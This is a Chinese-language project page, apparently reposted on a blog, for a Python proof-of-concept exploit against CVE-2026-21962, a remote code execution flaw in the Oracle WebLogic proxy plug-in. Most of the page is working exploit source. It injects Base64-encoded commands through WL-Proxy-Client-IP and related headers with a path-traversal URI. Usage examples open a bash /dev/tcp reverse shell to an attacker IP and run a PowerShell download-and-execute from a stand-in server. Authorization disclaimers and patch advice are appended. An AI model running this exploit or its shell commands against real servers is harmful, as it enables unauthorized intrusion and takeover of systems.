CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE
项目描述
该项目提供了一个针对 Oracle WebLogic Server 代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过 HTTP 协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。
CVE-2026-21962 是 Oracle WebLogic Server 代理插件中的高危远程代码执行漏洞,CVSS 评分 10.0。攻击者可利用 HTTP 头注入执行任意 OS 命令。一个基于 Python 的概念验证工具,支持自动漏洞检测、多路径探测及命令执行。工具通过 Base64 编码 Payload 和多种 HTTP 头绕过部分防护,兼容 Linux 与 Windows 环境。涉及受影响版本包括 Oracle HTTP Server 12.2.1.4.0 等。使用时需注意仅限授权测试,并及时修补相关系统。
该项目提供了一个针对 Oracle WebLogic Server 代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过 HTTP 协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。
影响组件:
/weblogic/、/wl_proxy/、/bea_wls_internal/、/_proxy/、/proxy/)探测目标系统是否存在漏洞requests 库设置执行权限(可选)
chmod +x CVE-2026-21962.py
安装 Python 依赖
pip install requests
克隆或下载项目文件
git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git
cd Ashwesker-CVE-2026-21962
运行以下命令验证安装是否成功:
python3 CVE-2026-21962.py --help
如果看到帮助信息,说明安装成功。
python3 CVE-2026-21962.py <target_url> "<command>"
target_url:目标服务器的 URL(例如:http://target:7001 或 https://oracle-server:4443)command:要执行的命令(例如:id、whoami 或反向 Shell 命令)执行系统命令来验证漏洞:
python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
首先在攻击机启动监听:
nc -lvnp 4444
然后执行漏洞利用:
python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
def exploit(target_url, command):
# 漏洞利用端点(常见代理插件路径)
vuln_paths = ["/weblogic/", "/wl_proxy/", "/bea_wls_internal/", "/_proxy/", "/proxy/"]
# 构造触发反序列化/命令注入的恶意头部
# 实际触发使用特制的 WL-Proxy-Client-IP 或类似头部
# 结合绕过验证的特制 URI payload = f"cmd:{command}"
# Base64 编码 Payload 以绕过 WAF/过滤器
encoded_payload = base64.b64encode(payload.encode()).decode()
# 构造恶意 HTTP 头部
headers = {
"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",
"User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)",
"Accept": "*/*",
"Connection": "close"
}
# 触发插件漏洞的特制 URI
uri = "/weblogic/..;/bea_wls_internal/ProxyServlet"
# 尝试所有可能的漏洞路径
for base_path in vuln_paths:
full_url = f"{target_url.rstrip('/')}{base_path}{uri}"
print(f"[*] 尝试路径:{full_url}")
print(f"[*] 执行命令:{command}")
try:
# 使用 GET 请求,某些配置下 POST 也可用
r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)
# 根据 HTTP 状态码判断是否成功
if r.status_code in [200, 302, 500]:
print(f"[+] 可能成功!状态码:{r.status_code}")
if r.text.strip():
print("\n可能的命令输出/响应:\n" + "-" * 60)
print(r.text[:1500]) # 显示前 1500 字符避免信息过多
print("-" * 60)
else:
print("[+] 命令静默执行(无输出)")
return True
else:
print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")
except Exception as e:
print(f"[-] 路径 {full_url} 错误:{e}")
print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")
return False
if __name__ == "__main__":
# 创建参数解析器
parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")
# 目标 URL 参数
parser.add_argument("target", help="目标 URL (例如 http://target:7001 或 https://oracle-server:4443)")
# 命令参数
parser.add_argument("cmd", help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者 IP/4444 0>&1')")
# 解析参数并执行漏洞利用
args = parser.parse_args()
exploit(args.target, args.cmd)
# 漏洞检测的核心逻辑
# 1. 构造包含恶意命令的 Payload
# 2. 使用 Base64 编码绕过基本防护
# 3. 通过多个 HTTP 头部字段注入 Payload
# 4. 使用路径遍历技术访问代理 Servlet
# 5. 分析响应判断漏洞是否存在
# 关键点:
# - 使用分号分隔 IP 地址和命令 Payload
# - 尝试多个可能的代理插件路径
# - 支持 HTTP 和 HTTPS 协议
# - 包含完善的超时和错误处理
# 重要安全提示:
# 1. 此工具仅用于授权的安全测试
# 2. 在非授权系统上使用是非法的
# 3. 使用前需获得明确书面授权
# 4. 遵守所有适用法律法规
# 技术建议:
# 1. 及时应用 Oracle 2026 年 1 月关键补丁更新
# 2. 限制对受影响服务的网络访问
# 3. 监控 HTTP 流量中的可疑行为
# 4. 定期审查系统日志和安全控制措施
该工具设计用于以下受影响版本:

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online